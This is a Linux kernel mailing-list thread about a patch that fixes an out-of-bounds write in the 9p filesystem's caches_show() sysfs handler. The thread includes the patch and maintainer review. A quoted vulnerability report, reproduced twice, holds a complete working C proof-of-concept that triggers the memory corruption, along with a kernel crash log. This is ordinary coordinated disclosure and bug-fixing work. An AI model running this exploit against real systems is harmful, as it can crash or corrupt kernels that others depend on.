* [PATCH 1/1] 9p: fix caches_show() out-of-bounds write
[not found] <cover.1781908090.git.zzhan461@ucr.edu>
@ 2026-06-20 15:53 ` Ren Wei
2026-09-13 13:29 ` Dominique Martinet
2026-06-20 22:16 ` [PATCH 0/1] 9p: " Dominique Martinet
1 sibling, 1 reply; 4+ messages in thread
From: Ren Wei @ 2026-06-20 15:53 UTC (permalink / raw)
To: v9fs
Cc: ericvh, lucho, asmadeus, linux_oss, rpembry, yuantan098,
zcliangcn, bird, zzhan461, n05ec
From: Zhao Zhang <zzhan461@ucr.edu>
The sysfs show handler for /sys/fs/9p/caches appends cache tags with
snprintf(buf + count, limit, ...) and then advances count and limit by
the return value. This is incorrect for truncation because snprintf()
returns the full would-have-been length, not the number of bytes stored.
Once the accumulated output exceeds PAGE_SIZE, count can advance past
the sysfs buffer and limit can become negative. A later iteration then
passes an out-of-bounds destination pointer and an oversized size_t
into snprintf(), leading to an out-of-bounds write.
Use sysfs_emit_at() for the append instead. It follows the sysfs buffer
contract and returns the number of bytes actually stored, so the offset
remains bounded even when the output is truncated.
Fixes: 86db0c32f16c ("9p: fix /sys/fs/9p/caches overwriting itself")
Cc: stable@vger.kernel.org
Reported-by: Yuan Tan <yuantan098@gmail.com>
Reported-by: Zhengchuan Liang <zcliangcn@gmail.com>
Reported-by: Xin Liu <bird@lzu.edu.cn>
Assisted-by: Codex:GPT-5.4
Signed-off-by: Zhao Zhang <zzhan461@ucr.edu>
Signed-off-by: Ren Wei <n05ec@lzu.edu.cn>
---
fs/9p/v9fs.c | 16 +++++-----------
1 file changed, 5 insertions(+), 11 deletions(-)
diff --git a/fs/9p/v9fs.c b/fs/9p/v9fs.c
index acda42499ca9..0668bad681bf 100644
--- a/fs/9p/v9fs.c
+++ b/fs/9p/v9fs.c
@@ -17,6 +17,7 @@
#include <linux/fs_context.h>
#include <linux/slab.h>
#include <linux/seq_file.h>
+#include <linux/sysfs.h>
#include <net/9p/9p.h>
#include <net/9p/client.h>
#include <net/9p/transport.h>
@@ -592,21 +593,14 @@ static ssize_t caches_show(struct kobject *kobj,
struct kobj_attribute *attr,
char *buf)
{
- ssize_t n = 0, count = 0, limit = PAGE_SIZE;
+ ssize_t count = 0;
struct v9fs_session_info *v9ses;
spin_lock(&v9fs_sessionlist_lock);
list_for_each_entry(v9ses, &v9fs_sessionlist, slist) {
- if (v9ses->cachetag) {
- n = snprintf(buf + count, limit, "%s\n", v9ses->cachetag);
- if (n < 0) {
- count = n;
- break;
- }
-
- count += n;
- limit -= n;
- }
+ if (v9ses->cachetag)
+ count += sysfs_emit_at(buf, count, "%s\n",
+ v9ses->cachetag);
}
spin_unlock(&v9fs_sessionlist_lock);
--
2.47.3
^ permalink raw reply related [flat|nested] 4+ messages in thread
* Re: [PATCH 0/1] 9p: caches_show() out-of-bounds write
[not found] <cover.1781908090.git.zzhan461@ucr.edu>
2026-06-20 15:53 ` [PATCH 1/1] 9p: fix caches_show() out-of-bounds write Ren Wei
@ 2026-06-20 22:16 ` Dominique Martinet
2026-06-23 16:19 ` Yuan Tan
1 sibling, 1 reply; 4+ messages in thread
From: Dominique Martinet @ 2026-06-20 22:16 UTC (permalink / raw)
To: Ren Wei
Cc: ericvh, lucho, linux_oss, rpembry, yuantan098, zcliangcn, bird,
zzhan461, v9fs
Ren Wei wrote on Sat, Jun 20, 2026 at 11:53:02PM +0800:
> From: Zhao Zhang <zzhan461@ucr.edu>
>
> Hi Linux kernel maintainers,
There's no reason not to send that to the list (it requires privileges
as you said), so quoting in full with v9fs@ in cc
(I see you also sent a patch, I don't consider this a priority so will
look at it more closely after the merge window; there's another similar
fix for the v9fs tag show being discussed right now)
> We found an issue in fs/9p/v9fs.c.
> The bug is reachable by a privileged user with permission to mount 9p filesystems.
> The relevant details are provided below.
>
> ---- details below ----
>
> Bug details:
>
> The bug is in `caches_show()` for `/sys/fs/9p/caches`.
>
> That function iterates the global 9p session list and appends each
> session's `cachetag` into the sysfs buffer with:
>
> `snprintf(buf + count, limit, "%s\n", v9ses->cachetag)`
>
> It then advances:
>
> `count += n;`
> `limit -= n;`
>
> This is incorrect because `snprintf()` returns the full would-have-been
> length, not the number of bytes actually stored. Once the accumulated
> cache-tag output exceeds `PAGE_SIZE`, `count` advances past the end of
> the sysfs buffer and `limit` becomes negative.
>
> A later iteration then passes an out-of-bounds destination pointer and a
> large `size_t` converted from the negative `limit` into `snprintf()`,
> leading to an out-of-bounds write in the sysfs show path.
>
> In practice this is reachable when `CONFIG_9P_FSCACHE` is enabled and a
> privileged user mounts enough 9p instances with long `cachetag=` values
> before reading `/sys/fs/9p/caches`.
>
> Reproducer:
>
> cc -x c -O2 -static -o mini_poc.bin mini_poc
> ./mini_poc.bin
>
>
> We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
>
> ------BEGIN PoC------
>
> #define _GNU_SOURCE
>
> #include <arpa/inet.h>
> #include <errno.h>
> #include <fcntl.h>
> #include <signal.h>
> #include <stdint.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/mount.h>
> #include <sys/socket.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <time.h>
> #include <unistd.h>
>
> #define PORT 5640
> #define MOUNTS 19
> #define TAG_FILL 211
>
> enum {
> P9_RLERROR = 7,
> P9_TGETATTR = 24,
> P9_RGETATTR = 25,
> P9_TVERSION = 100,
> P9_RVERSION = 101,
> P9_TATTACH = 104,
> P9_RATTACH = 105,
> P9_TFLUSH = 108,
> P9_RFLUSH = 109,
> P9_TCLUNK = 120,
> P9_RCLUNK = 121,
> };
>
> static const char version_str[] = "9P2000.L";
> static const uint64_t p9_stats_mask = 0x7ffULL | 0x1000ULL;
>
> static void put_le16(unsigned char *p, uint16_t v)
> {
> p[0] = v & 0xff;
> p[1] = (v >> 8) & 0xff;
> }
>
> static void put_le32(unsigned char *p, uint32_t v)
> {
> p[0] = v & 0xff;
> p[1] = (v >> 8) & 0xff;
> p[2] = (v >> 16) & 0xff;
> p[3] = (v >> 24) & 0xff;
> }
>
> static void put_le64(unsigned char *p, uint64_t v)
> {
> put_le32(p, (uint32_t)v);
> put_le32(p + 4, (uint32_t)(v >> 32));
> }
>
> static uint16_t get_le16(const unsigned char *p)
> {
> return (uint16_t)p[0] | ((uint16_t)p[1] << 8);
> }
>
> static uint32_t get_le32(const unsigned char *p)
> {
> return (uint32_t)p[0] |
> ((uint32_t)p[1] << 8) |
> ((uint32_t)p[2] << 16) |
> ((uint32_t)p[3] << 24);
> }
>
> static ssize_t read_full(int fd, void *buf, size_t len)
> {
> size_t off = 0;
>
> while (off < len) {
> ssize_t ret = read(fd, (char *)buf + off, len - off);
>
> if (ret == 0)
> return off;
> if (ret < 0) {
> if (errno == EINTR)
> continue;
> return -1;
> }
> off += ret;
> }
>
> return off;
> }
>
> static int write_full(int fd, const void *buf, size_t len)
> {
> size_t off = 0;
>
> while (off < len) {
> ssize_t ret = write(fd, (const char *)buf + off, len - off);
>
> if (ret < 0) {
> if (errno == EINTR)
> continue;
> return -1;
> }
> off += ret;
> }
>
> return 0;
> }
>
> static int send_reply(int fd, uint8_t type, uint16_t tag,
> const void *payload, uint32_t payload_len)
> {
> unsigned char hdr[7];
>
> put_le32(hdr, 7 + payload_len);
> hdr[4] = type;
> put_le16(hdr + 5, tag);
> if (write_full(fd, hdr, sizeof(hdr)) < 0)
> return -1;
> if (payload_len && write_full(fd, payload, payload_len) < 0)
> return -1;
> return 0;
> }
>
> static int send_lerror(int fd, uint16_t tag, uint32_t err)
> {
> unsigned char payload[4];
>
> put_le32(payload, err);
> return send_reply(fd, P9_RLERROR, tag, payload, sizeof(payload));
> }
>
> static int handle_client(int fd)
> {
> static const unsigned char root_qid[13] = {
> 0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> };
>
> for (;;) {
> unsigned char hdr[7];
> unsigned char payload[8192];
> uint32_t size;
> uint8_t type;
> uint16_t tag;
>
> if (read_full(fd, hdr, sizeof(hdr)) != sizeof(hdr))
> return 0;
>
> size = get_le32(hdr);
> type = hdr[4];
> tag = get_le16(hdr + 5);
> if (size < sizeof(hdr) || size - sizeof(hdr) > sizeof(payload))
> return -1;
> if (read_full(fd, payload, size - sizeof(hdr)) !=
> (ssize_t)(size - sizeof(hdr)))
> return -1;
>
> switch (type) {
> case P9_TVERSION: {
> unsigned char out[4 + 2 + sizeof(version_str) - 1];
> uint32_t msize = 8192;
>
> if (size >= 11)
> msize = get_le32(payload);
> put_le32(out, msize);
> put_le16(out + 4, sizeof(version_str) - 1);
> memcpy(out + 6, version_str, sizeof(version_str) - 1);
> if (send_reply(fd, P9_RVERSION, tag, out, sizeof(out)) < 0)
> return -1;
> break;
> }
> case P9_TATTACH:
> if (send_reply(fd, P9_RATTACH, tag,
> root_qid, sizeof(root_qid)) < 0)
> return -1;
> break;
> case P9_TGETATTR: {
> unsigned char out[153];
> uint64_t now = (uint64_t)time(NULL);
> uint64_t vals[] = {
> 2, 0, 0, 4096, 0,
> now, 0, now, 0, now, 0, now, 0, 1, 1,
> };
> size_t off = 0;
> size_t i;
>
> memset(out, 0, sizeof(out));
> put_le64(out + off, p9_stats_mask);
> off += 8;
> memcpy(out + off, root_qid, sizeof(root_qid));
> off += sizeof(root_qid);
> put_le32(out + off, 040755);
> off += 4;
> put_le32(out + off, 0);
> off += 4;
> put_le32(out + off, 0);
> off += 4;
> for (i = 0; i < sizeof(vals) / sizeof(vals[0]); i++) {
> put_le64(out + off, vals[i]);
> off += 8;
> }
> if (send_reply(fd, P9_RGETATTR, tag, out, sizeof(out)) < 0)
> return -1;
> break;
> }
> case P9_TCLUNK:
> send_reply(fd, P9_RCLUNK, tag, NULL, 0);
> return 0;
> case P9_TFLUSH:
> if (send_reply(fd, P9_RFLUSH, tag, NULL, 0) < 0)
> return -1;
> break;
> default:
> if (send_lerror(fd, tag, 95) < 0)
> return -1;
> break;
> }
> }
> }
>
> static void server_loop(void)
> {
> struct sockaddr_in addr;
> int one = 1;
> int listen_fd;
>
> listen_fd = socket(AF_INET, SOCK_STREAM, 0);
> if (listen_fd < 0)
> _exit(1);
> setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
>
> memset(&addr, 0, sizeof(addr));
> addr.sin_family = AF_INET;
> addr.sin_port = htons(PORT);
> addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
> if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
> _exit(1);
> if (listen(listen_fd, 16) < 0)
> _exit(1);
>
> for (;;) {
> int client_fd = accept(listen_fd, NULL, NULL);
>
> if (client_fd < 0) {
> if (errno == EINTR)
> continue;
> _exit(1);
> }
> handle_client(client_fd);
> close(client_fd);
> }
> }
>
> static int write_text(const char *path, const char *text)
> {
> int fd = open(path, O_WRONLY);
> size_t len = strlen(text);
>
> if (fd < 0)
> return -1;
> if (write_full(fd, text, len) < 0) {
> close(fd);
> return -1;
> }
> close(fd);
> return 0;
> }
>
> static void cleanup_mounts(const char *base)
> {
> char mp[128];
> int i;
>
> for (i = 1; i <= MOUNTS; i++) {
> snprintf(mp, sizeof(mp), "%s/mnt.%d", base, i);
> umount2(mp, MNT_DETACH);
> }
> }
>
> static int mount_sessions(const char *base)
> {
> char mp[128];
> char tag[4 + TAG_FILL + 1];
> char opts[512];
> int i;
>
> for (i = 1; i <= MOUNTS; i++) {
> snprintf(mp, sizeof(mp), "%s/mnt.%d", base, i);
> mkdir(mp, 0755);
> snprintf(tag, sizeof(tag), "%03d_", i);
> memset(tag + 4, 'A', TAG_FILL);
> tag[sizeof(tag) - 1] = '\0';
> snprintf(opts, sizeof(opts),
> "trans=tcp,port=%d,version=9p2000.L,cache=fscache,cachetag=%s",
> PORT, tag);
> if (mount("127.0.0.1", mp, "9p", 0, opts) < 0) {
> perror("mount");
> return -1;
> }
> }
>
> return 0;
> }
>
> static int dump_caches(void)
> {
> char buf[4096];
> int fd;
>
> fd = open("/sys/fs/9p/caches", O_RDONLY);
> if (fd < 0) {
> perror("open");
> return -1;
> }
>
> for (;;) {
> ssize_t ret = read(fd, buf, sizeof(buf));
>
> if (ret == 0)
> break;
> if (ret < 0) {
> perror("read");
> close(fd);
> return -1;
> }
> if (write_full(STDOUT_FILENO, buf, ret) < 0) {
> close(fd);
> return -1;
> }
> }
>
> close(fd);
> return 0;
> }
>
> int main(void)
> {
> const char *base = "/tmp/v9fs-caches-poc";
> pid_t child;
> int status = 1;
>
> if (geteuid() != 0) {
> fprintf(stderr, "run as root\n");
> return 1;
> }
>
> mkdir(base, 0755);
> cleanup_mounts(base);
> write_text("/proc/sys/kernel/panic_on_warn", "0\n");
> write_text("/proc/sys/kernel/panic_on_oops", "0\n");
>
> child = fork();
> if (child < 0) {
> perror("fork");
> return 1;
> }
> if (child == 0)
> server_loop();
>
> sleep(1);
> if (mount_sessions(base) == 0 && dump_caches() == 0)
> status = 0;
>
> cleanup_mounts(base);
> kill(child, SIGTERM);
> waitpid(child, NULL, 0);
> return status;
> }
>
>
> ------END PoC--------
>
> ----BEGIN crash log----
>
> [ 312.177878][T10660] Kernel panic - not syncing: kernel: panic_on_warn set ...
> [ 312.178459][T10660] CPU: 0 UID: 0 PID: 10660 Comm: cat Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
> [ 312.181692][T10660] check_panic_on_warn+0x61/0x80
> [ 312.182076][T10660] __warn+0xe8/0x330
> [ 312.189425][T10660] RIP: 0010:vsnprintf+0xbfb/0x1180
> [ 312.192016][T10660] RDX: 1ff400000138ef52 RSI: ffffffffffffff4d RDI: ff1100006f9850b3
> [ 312.195689][T10660] snprintf+0xaa/0xe0
> [ 312.197121][T10660] caches_show+0x79/0xe0
> [ 312.197845][T10660] sysfs_kf_seq_show+0x1bd/0x380
> [ 312.198611][T10660] seq_read_iter+0x40f/0x11f0
> [ 312.200066][T10660] vfs_read+0x6cd/0xb70
> [ 312.203264][T10660] ksys_read+0xf9/0x1d0
> [ 312.204639][T10660] do_syscall_64+0x116/0xf80
> [ 312.205311][T10660] entry_SYSCALL_64_after_hwframe+0x77/0x7f
>
>
> -----END crash log-----
>
> Best regards,
> Zhao Zhang
>
>
> Zhao Zhang (1):
> 9p: v9fs: fix caches_show() out-of-bounds write
>
> fs/9p/v9fs.c | 16 +++++-----------
> 1 file changed, 5 insertions(+), 11 deletions(-)
>
--
Dominique Martinet | Asmadeus
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH 0/1] 9p: caches_show() out-of-bounds write
2026-06-20 22:16 ` [PATCH 0/1] 9p: " Dominique Martinet
@ 2026-06-23 16:19 ` Yuan Tan
0 siblings, 0 replies; 4+ messages in thread
From: Yuan Tan @ 2026-06-23 16:19 UTC (permalink / raw)
To: Dominique Martinet
Cc: Ren Wei, ericvh, lucho, linux_oss, rpembry, zcliangcn, bird,
zzhan461, v9fs
On Sat, Jun 20, 2026 at 3:16 PM Dominique Martinet
<asmadeus@codewreck.org> wrote:
>
> Ren Wei wrote on Sat, Jun 20, 2026 at 11:53:02PM +0800:
> > From: Zhao Zhang <zzhan461@ucr.edu>
> >
> > Hi Linux kernel maintainers,
>
> There's no reason not to send that to the list (it requires privileges
> as you said), so quoting in full with v9fs@ in cc
>
> (I see you also sent a patch, I don't consider this a priority so will
> look at it more closely after the merge window; there's another similar
> fix for the v9fs tag show being discussed right now)
Thank you for looping in the list.
We were a bit unsure about the preferred disclosure style here: some
maintainers prefer that PoCs and vulnerability details are not sent to
public lists, while others prefer to see the PoC when reviewing the
issue. Because of that, our current approach has been to send the
cover letter only to the relevant maintainers, while keeping the patch
itself public.
Thanks a lot for taking the time to review the patch. There is no
urgency from our side, so looking at it after the merge window sounds
perfectly fine.
>
> > We found an issue in fs/9p/v9fs.c.
> > The bug is reachable by a privileged user with permission to mount 9p filesystems.
> > The relevant details are provided below.
> >
> > ---- details below ----
> >
> > Bug details:
> >
> > The bug is in `caches_show()` for `/sys/fs/9p/caches`.
> >
> > That function iterates the global 9p session list and appends each
> > session's `cachetag` into the sysfs buffer with:
> >
> > `snprintf(buf + count, limit, "%s\n", v9ses->cachetag)`
> >
> > It then advances:
> >
> > `count += n;`
> > `limit -= n;`
> >
> > This is incorrect because `snprintf()` returns the full would-have-been
> > length, not the number of bytes actually stored. Once the accumulated
> > cache-tag output exceeds `PAGE_SIZE`, `count` advances past the end of
> > the sysfs buffer and `limit` becomes negative.
> >
> > A later iteration then passes an out-of-bounds destination pointer and a
> > large `size_t` converted from the negative `limit` into `snprintf()`,
> > leading to an out-of-bounds write in the sysfs show path.
> >
> > In practice this is reachable when `CONFIG_9P_FSCACHE` is enabled and a
> > privileged user mounts enough 9p instances with long `cachetag=` values
> > before reading `/sys/fs/9p/caches`.
> >
> > Reproducer:
> >
> > cc -x c -O2 -static -o mini_poc.bin mini_poc
> > ./mini_poc.bin
> >
> >
> > We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
> >
> > ------BEGIN PoC------
> >
> > #define _GNU_SOURCE
> >
> > #include <arpa/inet.h>
> > #include <errno.h>
> > #include <fcntl.h>
> > #include <signal.h>
> > #include <stdint.h>
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <string.h>
> > #include <sys/mount.h>
> > #include <sys/socket.h>
> > #include <sys/stat.h>
> > #include <sys/types.h>
> > #include <sys/wait.h>
> > #include <time.h>
> > #include <unistd.h>
> >
> > #define PORT 5640
> > #define MOUNTS 19
> > #define TAG_FILL 211
> >
> > enum {
> > P9_RLERROR = 7,
> > P9_TGETATTR = 24,
> > P9_RGETATTR = 25,
> > P9_TVERSION = 100,
> > P9_RVERSION = 101,
> > P9_TATTACH = 104,
> > P9_RATTACH = 105,
> > P9_TFLUSH = 108,
> > P9_RFLUSH = 109,
> > P9_TCLUNK = 120,
> > P9_RCLUNK = 121,
> > };
> >
> > static const char version_str[] = "9P2000.L";
> > static const uint64_t p9_stats_mask = 0x7ffULL | 0x1000ULL;
> >
> > static void put_le16(unsigned char *p, uint16_t v)
> > {
> > p[0] = v & 0xff;
> > p[1] = (v >> 8) & 0xff;
> > }
> >
> > static void put_le32(unsigned char *p, uint32_t v)
> > {
> > p[0] = v & 0xff;
> > p[1] = (v >> 8) & 0xff;
> > p[2] = (v >> 16) & 0xff;
> > p[3] = (v >> 24) & 0xff;
> > }
> >
> > static void put_le64(unsigned char *p, uint64_t v)
> > {
> > put_le32(p, (uint32_t)v);
> > put_le32(p + 4, (uint32_t)(v >> 32));
> > }
> >
> > static uint16_t get_le16(const unsigned char *p)
> > {
> > return (uint16_t)p[0] | ((uint16_t)p[1] << 8);
> > }
> >
> > static uint32_t get_le32(const unsigned char *p)
> > {
> > return (uint32_t)p[0] |
> > ((uint32_t)p[1] << 8) |
> > ((uint32_t)p[2] << 16) |
> > ((uint32_t)p[3] << 24);
> > }
> >
> > static ssize_t read_full(int fd, void *buf, size_t len)
> > {
> > size_t off = 0;
> >
> > while (off < len) {
> > ssize_t ret = read(fd, (char *)buf + off, len - off);
> >
> > if (ret == 0)
> > return off;
> > if (ret < 0) {
> > if (errno == EINTR)
> > continue;
> > return -1;
> > }
> > off += ret;
> > }
> >
> > return off;
> > }
> >
> > static int write_full(int fd, const void *buf, size_t len)
> > {
> > size_t off = 0;
> >
> > while (off < len) {
> > ssize_t ret = write(fd, (const char *)buf + off, len - off);
> >
> > if (ret < 0) {
> > if (errno == EINTR)
> > continue;
> > return -1;
> > }
> > off += ret;
> > }
> >
> > return 0;
> > }
> >
> > static int send_reply(int fd, uint8_t type, uint16_t tag,
> > const void *payload, uint32_t payload_len)
> > {
> > unsigned char hdr[7];
> >
> > put_le32(hdr, 7 + payload_len);
> > hdr[4] = type;
> > put_le16(hdr + 5, tag);
> > if (write_full(fd, hdr, sizeof(hdr)) < 0)
> > return -1;
> > if (payload_len && write_full(fd, payload, payload_len) < 0)
> > return -1;
> > return 0;
> > }
> >
> > static int send_lerror(int fd, uint16_t tag, uint32_t err)
> > {
> > unsigned char payload[4];
> >
> > put_le32(payload, err);
> > return send_reply(fd, P9_RLERROR, tag, payload, sizeof(payload));
> > }
> >
> > static int handle_client(int fd)
> > {
> > static const unsigned char root_qid[13] = {
> > 0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
> > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> > };
> >
> > for (;;) {
> > unsigned char hdr[7];
> > unsigned char payload[8192];
> > uint32_t size;
> > uint8_t type;
> > uint16_t tag;
> >
> > if (read_full(fd, hdr, sizeof(hdr)) != sizeof(hdr))
> > return 0;
> >
> > size = get_le32(hdr);
> > type = hdr[4];
> > tag = get_le16(hdr + 5);
> > if (size < sizeof(hdr) || size - sizeof(hdr) > sizeof(payload))
> > return -1;
> > if (read_full(fd, payload, size - sizeof(hdr)) !=
> > (ssize_t)(size - sizeof(hdr)))
> > return -1;
> >
> > switch (type) {
> > case P9_TVERSION: {
> > unsigned char out[4 + 2 + sizeof(version_str) - 1];
> > uint32_t msize = 8192;
> >
> > if (size >= 11)
> > msize = get_le32(payload);
> > put_le32(out, msize);
> > put_le16(out + 4, sizeof(version_str) - 1);
> > memcpy(out + 6, version_str, sizeof(version_str) - 1);
> > if (send_reply(fd, P9_RVERSION, tag, out, sizeof(out)) < 0)
> > return -1;
> > break;
> > }
> > case P9_TATTACH:
> > if (send_reply(fd, P9_RATTACH, tag,
> > root_qid, sizeof(root_qid)) < 0)
> > return -1;
> > break;
> > case P9_TGETATTR: {
> > unsigned char out[153];
> > uint64_t now = (uint64_t)time(NULL);
> > uint64_t vals[] = {
> > 2, 0, 0, 4096, 0,
> > now, 0, now, 0, now, 0, now, 0, 1, 1,
> > };
> > size_t off = 0;
> > size_t i;
> >
> > memset(out, 0, sizeof(out));
> > put_le64(out + off, p9_stats_mask);
> > off += 8;
> > memcpy(out + off, root_qid, sizeof(root_qid));
> > off += sizeof(root_qid);
> > put_le32(out + off, 040755);
> > off += 4;
> > put_le32(out + off, 0);
> > off += 4;
> > put_le32(out + off, 0);
> > off += 4;
> > for (i = 0; i < sizeof(vals) / sizeof(vals[0]); i++) {
> > put_le64(out + off, vals[i]);
> > off += 8;
> > }
> > if (send_reply(fd, P9_RGETATTR, tag, out, sizeof(out)) < 0)
> > return -1;
> > break;
> > }
> > case P9_TCLUNK:
> > send_reply(fd, P9_RCLUNK, tag, NULL, 0);
> > return 0;
> > case P9_TFLUSH:
> > if (send_reply(fd, P9_RFLUSH, tag, NULL, 0) < 0)
> > return -1;
> > break;
> > default:
> > if (send_lerror(fd, tag, 95) < 0)
> > return -1;
> > break;
> > }
> > }
> > }
> >
> > static void server_loop(void)
> > {
> > struct sockaddr_in addr;
> > int one = 1;
> > int listen_fd;
> >
> > listen_fd = socket(AF_INET, SOCK_STREAM, 0);
> > if (listen_fd < 0)
> > _exit(1);
> > setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
> >
> > memset(&addr, 0, sizeof(addr));
> > addr.sin_family = AF_INET;
> > addr.sin_port = htons(PORT);
> > addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
> > if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
> > _exit(1);
> > if (listen(listen_fd, 16) < 0)
> > _exit(1);
> >
> > for (;;) {
> > int client_fd = accept(listen_fd, NULL, NULL);
> >
> > if (client_fd < 0) {
> > if (errno == EINTR)
> > continue;
> > _exit(1);
> > }
> > handle_client(client_fd);
> > close(client_fd);
> > }
> > }
> >
> > static int write_text(const char *path, const char *text)
> > {
> > int fd = open(path, O_WRONLY);
> > size_t len = strlen(text);
> >
> > if (fd < 0)
> > return -1;
> > if (write_full(fd, text, len) < 0) {
> > close(fd);
> > return -1;
> > }
> > close(fd);
> > return 0;
> > }
> >
> > static void cleanup_mounts(const char *base)
> > {
> > char mp[128];
> > int i;
> >
> > for (i = 1; i <= MOUNTS; i++) {
> > snprintf(mp, sizeof(mp), "%s/mnt.%d", base, i);
> > umount2(mp, MNT_DETACH);
> > }
> > }
> >
> > static int mount_sessions(const char *base)
> > {
> > char mp[128];
> > char tag[4 + TAG_FILL + 1];
> > char opts[512];
> > int i;
> >
> > for (i = 1; i <= MOUNTS; i++) {
> > snprintf(mp, sizeof(mp), "%s/mnt.%d", base, i);
> > mkdir(mp, 0755);
> > snprintf(tag, sizeof(tag), "%03d_", i);
> > memset(tag + 4, 'A', TAG_FILL);
> > tag[sizeof(tag) - 1] = '\0';
> > snprintf(opts, sizeof(opts),
> > "trans=tcp,port=%d,version=9p2000.L,cache=fscache,cachetag=%s",
> > PORT, tag);
> > if (mount("127.0.0.1", mp, "9p", 0, opts) < 0) {
> > perror("mount");
> > return -1;
> > }
> > }
> >
> > return 0;
> > }
> >
> > static int dump_caches(void)
> > {
> > char buf[4096];
> > int fd;
> >
> > fd = open("/sys/fs/9p/caches", O_RDONLY);
> > if (fd < 0) {
> > perror("open");
> > return -1;
> > }
> >
> > for (;;) {
> > ssize_t ret = read(fd, buf, sizeof(buf));
> >
> > if (ret == 0)
> > break;
> > if (ret < 0) {
> > perror("read");
> > close(fd);
> > return -1;
> > }
> > if (write_full(STDOUT_FILENO, buf, ret) < 0) {
> > close(fd);
> > return -1;
> > }
> > }
> >
> > close(fd);
> > return 0;
> > }
> >
> > int main(void)
> > {
> > const char *base = "/tmp/v9fs-caches-poc";
> > pid_t child;
> > int status = 1;
> >
> > if (geteuid() != 0) {
> > fprintf(stderr, "run as root\n");
> > return 1;
> > }
> >
> > mkdir(base, 0755);
> > cleanup_mounts(base);
> > write_text("/proc/sys/kernel/panic_on_warn", "0\n");
> > write_text("/proc/sys/kernel/panic_on_oops", "0\n");
> >
> > child = fork();
> > if (child < 0) {
> > perror("fork");
> > return 1;
> > }
> > if (child == 0)
> > server_loop();
> >
> > sleep(1);
> > if (mount_sessions(base) == 0 && dump_caches() == 0)
> > status = 0;
> >
> > cleanup_mounts(base);
> > kill(child, SIGTERM);
> > waitpid(child, NULL, 0);
> > return status;
> > }
> >
> >
> > ------END PoC--------
> >
> > ----BEGIN crash log----
> >
> > [ 312.177878][T10660] Kernel panic - not syncing: kernel: panic_on_warn set ...
> > [ 312.178459][T10660] CPU: 0 UID: 0 PID: 10660 Comm: cat Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
> > [ 312.181692][T10660] check_panic_on_warn+0x61/0x80
> > [ 312.182076][T10660] __warn+0xe8/0x330
> > [ 312.189425][T10660] RIP: 0010:vsnprintf+0xbfb/0x1180
> > [ 312.192016][T10660] RDX: 1ff400000138ef52 RSI: ffffffffffffff4d RDI: ff1100006f9850b3
> > [ 312.195689][T10660] snprintf+0xaa/0xe0
> > [ 312.197121][T10660] caches_show+0x79/0xe0
> > [ 312.197845][T10660] sysfs_kf_seq_show+0x1bd/0x380
> > [ 312.198611][T10660] seq_read_iter+0x40f/0x11f0
> > [ 312.200066][T10660] vfs_read+0x6cd/0xb70
> > [ 312.203264][T10660] ksys_read+0xf9/0x1d0
> > [ 312.204639][T10660] do_syscall_64+0x116/0xf80
> > [ 312.205311][T10660] entry_SYSCALL_64_after_hwframe+0x77/0x7f
> >
> >
> > -----END crash log-----
> >
> > Best regards,
> > Zhao Zhang
> >
> >
> > Zhao Zhang (1):
> > 9p: v9fs: fix caches_show() out-of-bounds write
> >
> > fs/9p/v9fs.c | 16 +++++-----------
> > 1 file changed, 5 insertions(+), 11 deletions(-)
> >
>
> --
> Dominique Martinet | Asmadeus
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH 1/1] 9p: fix caches_show() out-of-bounds write
2026-06-20 15:53 ` [PATCH 1/1] 9p: fix caches_show() out-of-bounds write Ren Wei
@ 2026-09-13 13:29 ` Dominique Martinet
0 siblings, 0 replies; 4+ messages in thread
From: Dominique Martinet @ 2026-09-13 13:29 UTC (permalink / raw)
To: Ren Wei
Cc: v9fs, ericvh, lucho, linux_oss, rpembry, yuantan098, zcliangcn,
bird, zzhan461
Ren Wei wrote on Sat, Jun 20, 2026 at 11:53:03PM +0800:
> From: Zhao Zhang <zzhan461@ucr.edu>
>
> The sysfs show handler for /sys/fs/9p/caches appends cache tags with
> snprintf(buf + count, limit, ...) and then advances count and limit by
> the return value. This is incorrect for truncation because snprintf()
> returns the full would-have-been length, not the number of bytes stored.
>
> Once the accumulated output exceeds PAGE_SIZE, count can advance past
> the sysfs buffer and limit can become negative. A later iteration then
> passes an out-of-bounds destination pointer and an oversized size_t
> into snprintf(), leading to an out-of-bounds write.
>
> Use sysfs_emit_at() for the append instead. It follows the sysfs buffer
> contract and returns the number of bytes actually stored, so the offset
> remains bounded even when the output is truncated.
>
> Fixes: 86db0c32f16c ("9p: fix /sys/fs/9p/caches overwriting itself")
> Cc: stable@vger.kernel.org
> Reported-by: Yuan Tan <yuantan098@gmail.com>
> Reported-by: Zhengchuan Liang <zcliangcn@gmail.com>
> Reported-by: Xin Liu <bird@lzu.edu.cn>
> Assisted-by: Codex:GPT-5.4
> Signed-off-by: Zhao Zhang <zzhan461@ucr.edu>
nit: this is missing a Co-authored-by tag between the two sign-offs if
you touched the patch, or should not have your sign-off at all if you
didn't, see Documentation/process/submitting-patches.rst
Co-authored-by: Ren Wei <n05ec@lzu.edu.cn>
> Signed-off-by: Ren Wei <n05ec@lzu.edu.cn>
Less minor nit: please always cc linux-kernel@vger.kernel.org when
sending patches; it should come up if you use get_maintainer.pl
(In this case I'd also add fsdevel but that doesn't get listed for some
reason, so I guess I can't argue about that one; doesn't really matter
for something simple as this though, but not having linux-kernel@ means
sashiko didn't run)
> ---
